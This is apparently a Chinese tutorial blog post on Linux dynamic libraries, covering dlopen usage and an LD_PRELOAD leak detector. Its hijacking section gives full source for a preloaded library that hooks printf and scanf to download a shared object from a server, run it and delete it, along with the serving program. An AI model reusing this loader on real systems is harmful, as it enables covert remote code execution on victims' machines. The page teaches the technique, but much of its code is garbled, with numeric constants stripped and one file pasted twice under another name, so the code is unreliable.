• 如何使用动态链接库

Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):
1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLoadLibrary函数

    //参数一filename是.so文件路径
//参数二flag指定解析符号的时间点等
//返回值是链接库的句柄
void *dlopen(const char *filename, int flag);

2.从句柄中获取函数符号加载的内存地址,通过调用dlsym函数返回函数地址,对应于windows下的GetProcAddress函数

   //参数一handle是dlopen获得的句柄
//参数二symbol是函数符号
//返回值为函数加载在内存的地址
void *dlsym(void *handle, const char *symbol);

3.卸载链接库,通过调用dlclose函数释放资源,对应于windows下的AfxFreeLibrary函数

   int dlclose(void *handle);

Linux下编写第一个动态链接库hello.so

 #include <stdio.h>

 void *hello(void *input) {
printf("hello from a .so\n");
return NULL;
}

hello.c

编译命令:

  gcc -shared -fPIC hello.c -o hello.so
  -shared 指定生成共享库
-fPIC 指定生成位置无关代码

动态加载hello.so的过程如下

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h> typedef void *(*FUNC)(void *); void load_and_invoke(char *libname, char *funcname) { FUNC func = NULL;
char *error = NULL;
void * handle = dlopen(libname,RTLD_LAZY); //加载链接库 if(!handle){
fprintf(stderr,"%s\n",dlerror());
exit(EXIT_FAILURE);
} dlerror(); *(void **)(&func) = dlsym(handle,funcname); //获取符号地址 if((error = dlerror()) != NULL){
fprintf(stderr,"%s\n",error);
exit(EXIT_FAILURE);
} func(NULL); //执行函数 dlclose(handle); //卸载链接库
exit(EXIT_FAILURE);
} int main(int argc, char **argv) { load_and_invoke("./hello.so", "hello");
}

main.c

编译命令:

gcc main.c -o main -ldl

运行:

  • 应用一 内存泄漏检测

动态链接库除了让程序更新方便,提高运行效率外,还可移使用dll注入的方式实现类似于valgrind的内存检测工具。
原理:通过注入的方式让用户程序调用的malloc,free等内存操作函数最终调用本程序实现的malloc与free函数,在自己实现的函数中记录用户每次对内存的申请与撤销操作,分析是否有内存泄露,具体原理参考codeproject上的一篇文章 C++ Memory Leak Finder
libmem.c实现malloc,free函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

libmem.c

libmem.c中调用了记录内存分配回收信息的辅助函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

hash.cpp

把 libmem.c编译成动态链接库libmem.so,导出环境变量LD_PRELOAD=path/to/libmem.so,动态链接库的查找和加载 是由/lib/ldd.so实现,LD_PRELOAD路径中的库会在标准路径之前被查找到,这样任何使用malloc,free函数的程序都会调用 libmem.so中的malloc与free,从而实现内存泄漏的检测。关于LD_PRELOAD变量,可以查看警惕UNIX下的LD_PRELOAD环境变量关于windows下dll搜索路径可以参考Dynamic-Link Library Search Order

为了测试,我们编写了一个存在内存泄漏的程序

memleak.c

编译与运行:

  • 应用二 dll劫持漏洞

与内存检测程序原理类似,dll搜索路径的先后顺序如果不小心,很有可能被恶意利用。恶意程序要做的是编写一个与正常应用链接库文件名相同,实现同样的函数(函数名参数类型与个数相同)的链接库,把它放在当前路径或者进程路径等在优先级在正常dll之前的路径上,就可以让正常应用主动去执行一些恶意代码。

下面是通过劫持scanf,printf函数实现攻击的例子,正常的应用程序只要调用了scanf,printf,便会激活恶意代码.恶意代码连接服务器并下载真正危险的代码执行,而且恶意代码可以在执行后删除自己并完成用户正常的功能以达到隐藏自己的目的。

劫持GLIBC的printf与scanf的代码

 #include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h> static void (*sys_vprintf)(const char *format,...) = NULL;
static int (*sys_vscanf)(const char *format,...) = NULL;
static int count = ; #define MAXLINE 4096 static void init(void){
sys_vprintf = (void (*)(const char *format,...))dlsym(RTLD_NEXT,"vprintf");
if(sys_vprintf == NULL){
exit(EXIT_FAILURE);
} sys_vscanf = (int (*)(const char *format,...))dlsym(RTLD_NEXT,"vscanf");
if(sys_vscanf == NULL){
exit(EXIT_FAILURE);
}
} static void deinit(void){
;
} #define FILE_NAME "libexploit_download.so"
#define FUNC_NAME "exploit" //执行从服务器下载的代码
void load_and_exec(char *libname,char *funcname){ void *handle = dlopen(libname,RTLD_LAZY);
if(!handle){
return;
} void (*func)(void);
*(void ** )(&func) = dlsym(handle,funcname); if(func == NULL){
return;
} func(); dlclose(handle);
} //删除下载的代码
void remove(char *filename){
char buff[MAXLINE];
strcpy(buff,"rm -rf ");
strcat(buff,filename);
system(buff);
} //恶意程序客户端从服务器下载恶意代码并执行
static void client(){
int sockfd,n;
char buff[MAXLINE + ];
struct sockaddr_in servaddr; if((sockfd = socket(AF_INET,SOCK_STREAM,)) < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
char *serv_addr = "127.0.0.1"; //服务器地址
char *serv_port = ""; //服务器端口
servaddr.sin_port = htons(atoi(serv_port));
if(inet_pton(AF_INET,serv_addr,&servaddr.sin_addr) <= ){
return;
} if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < ){
return;
} write(sockfd,"start",strlen("start")); int fd = open(FILE_NAME,O_RDWR | O_CREAT | O_EXCL,S_IRUSR | S_IWUSR);
if(fd == -){
return;
} int nRead;
while((nRead = read(sockfd,buff,MAXLINE)) != ){
write(fd,buff,nRead);
}
close(fd);
close(sockfd); load_and_exec(FILE_NAME,FUNC_NAME); remove(FILE_NAME);
exit();
} void printf(const char *fmt,...){
if(sys_vprintf == NULL){
init();
} client(); //恶意代码开始执行与服务器通信 char buff[MAXLINE]; va_list vl;
va_start(vl,fmt);
sys_vprintf(fmt,vl);
va_end(vl);
} int scanf(const char *fmt,...){
if(sys_vscanf == NULL){
init();
} client(); va_list vl;
va_start(vl,fmt);
int cnt = sys_vscanf(fmt,vl);
va_end(vl);
return cnt;
}

libio.c

被攻击的代码示例

 #include <stdio.h>

 #define MAXLINE 4096

 int
main()
{
char buff[MAXLINE]; while(scanf("%s",buff) != ){
printf("you've typed : %s\n",buff);
}
}

target.c

编译过程:

服务器端代码server.c

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h> #define MAXLINE 4096
#define LISTENQ 1024 void serve(int port,char *filename) { int listenfd,connfd;
struct sockaddr_in servaddr;
char buff[MAXLINE];
char outBuff[MAXLINE]; listenfd = socket(AF_INET,SOCK_STREAM,);
if(listenfd < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port); if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < ){
return;
} if((listen(listenfd,LISTENQ)) < ){
return;
} for(;;){
if((connfd = accept(listenfd,(struct sockaddr *)NULL,NULL)) < ){
continue;
} int n = read(connfd,buff,MAXLINE);
buff[n] = '\0'; if(strcmp(buff,"start") == ){
printf("ready...\n");
FILE *fp = fopen(filename,"r");
if(fp == NULL){
fprintf(stderr,"file open error\n");
} while((n = fread(buff,,MAXLINE,fp)) != ){
if(write(connfd,buff,n) != n){
fprintf(stderr,"write error\n");
}
}
} if(close(connfd) == -){
return;
}
exit();
} } int main(int argc, char **argv) { int port = ;
char *filename = "./libexploit.so"; serve(port,filename); exit();
}

server.c

真正执行攻击的代码:

 #include <stdio.h>
#include <string.h> void exploit() {
const char* msg = "you have been hacked\n";
fwrite(msg, sizeof(char), strlen(msg), stdout);
}

libexploit.c

编译服务端代码:

最后效果:

Linux 动态链接库的更多相关文章

  1. Linux动态链接库的创建与使用

    Linux动态链接库的创建与使用1. 介绍     使用GNU的工具我们如何在Linux下创建自己的程序函数库?一个“程序函数库”简单的说就是一个文件包含了一些编译好的代码和数据,这些编译好的代码和数 ...

  2. linux 动态链接库查找方法;查找动态链接库位置; LIBRARY_PATH 和 LD_LIBRARY_PATH 的区别;LD_LIBRARY_PATH and LD_RUN_PATH的区别;

    今天配置之前项目的时候,发现有些动态链接库变了,想看看现在应用在使用哪些动态链接库的时候,进一步查了点资料: 下面针对linux动态链接库查找方法和动态链接库位置配置的过程进行记录: LIBRARY_ ...

  3. Linux 动态链接库学习笔记

    参考资料: http://www.linuxidc.com/Linux/2012-01/50739.htm http://www.yolinux.com/TUTORIALS/LibraryArchiv ...

  4. linux动态链接库---一篇讲尽

    一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如: tmux: error while loading shared libraries: libevent-1.4.s ...

  5. Linux动态链接库的生成和使用

    目录 1. 编写C程序 2. 编译动态链接库 3. 使用共享库 4. 执行程序 5. 参考资料 1. 编写C程序 比如编写myfunc.c文件,里面包含两个函数,一个是say_hello,另一个是ca ...

  6. Linux 动态链接库 - dll劫持

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  7. Linux 动态链接库(.so)的使用

    1. 背景 库:就是已经编写好的,后续可以直接使用的代码. c++静态库:会合入到最终生成的程序,使得结果文件比较大.优点是不再有任何依赖. c++动态库:动态库,一个文件可以多个代码同时使用内存中只 ...

  8. Linux动态链接库的使用

    1.前言 在实际开发过程中,各个模块之间会涉及到一些通用的功能,比如读写文件,查找.排序.为了减少代码的冗余,提高代码的质量,可以将这些通用的部分提取出来,做出公共的模块库.通过动态链接库可以实现多个 ...

  9. linux动态链接库

    前言 静态链接库会编译进可执行文件,并被加载到内存,会造成空间浪费 静态链接库对程序的更新.部署.发布带来麻烦.如果静态库更新了,使用它的应用程序都需要重新编译.发布给用户(对于玩家来说,可能是一个很 ...

随机推荐

  1. "rel=nofollow"属性

    nofollow是HTML元标签(meta)的content属性和链接标签(a)的rel属性的一个值,告诉机器(爬虫)无需追踪目标页,为了对抗blogspam(博客垃圾留言信息),Google推荐使用 ...

  2. 原生js获取鼠标坐标方法全面讲解-zmq

    原生js获取鼠标坐标方法全面讲解:clientX/Y,pageX/Y,offsetX/Y,layerX/Y,screenX/Y 一.关于js鼠标事件综合各大浏览器能获取到坐标的属性总共以下五种:eve ...

  3. 剑指offer三: 斐波拉契数列

    斐波拉契数列是指这样一个数列: F(1)=1; F(2)=1; F(n)=F(n-1)+F(n); public class Solution { public int Fibonacci(int n ...

  4. PCA9554

    参考资料: 1. Texas Instruments PCA9554简介 2. PCA9554文档下载 3. PCA9554 Data Sheet 知识点: ● PCA9554是具有中断输出和配置寄存 ...

  5. yyyy-MM-dd与YYYY-MM-dd

    Date date=new Date(); DateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:MM:SS"); DateForm ...

  6. <开心一笑> 码农 黑客和2B程序员之间的区别

    笔记本电脑 码农: 黑客: 2B程序员: 求2的32次方: 码农: System.out.println(Math.pow(2, 32)); 黑客: System.out.println(1L< ...

  7. iOS - CoreLocation 定位

    前言 NS_CLASS_AVAILABLE(10_6, 2_0) @interface CLLocationManager : NSObject 1.CoreLocation 定位 配置 1.在 iO ...

  8. jQuery 查找父元素

    function deletesec1Div5(obj){ $(obj).closest(".sec1-div5").remove();}自己写的一段代码,实现了table中的全选 ...

  9. YYCache设计思路及源码学习

    设计思路 利用YYCache来进行操作,实质操作分为了内存缓存操作(YYMemoryCache)和硬盘缓存操作(YYDiskCache).内存缓存设计一般是在内存中开辟一个空间用以保存请求的数据(一般 ...

  10. 阿里im即时通讯 h5 demo

    适合不想装后台环境的同学,用nodejs搭建服务器. 以下是官网提供的node 请求示例: 找到了一个ali-top-sdk 代替topClient 于是请求示例代码如下: TopClient = r ...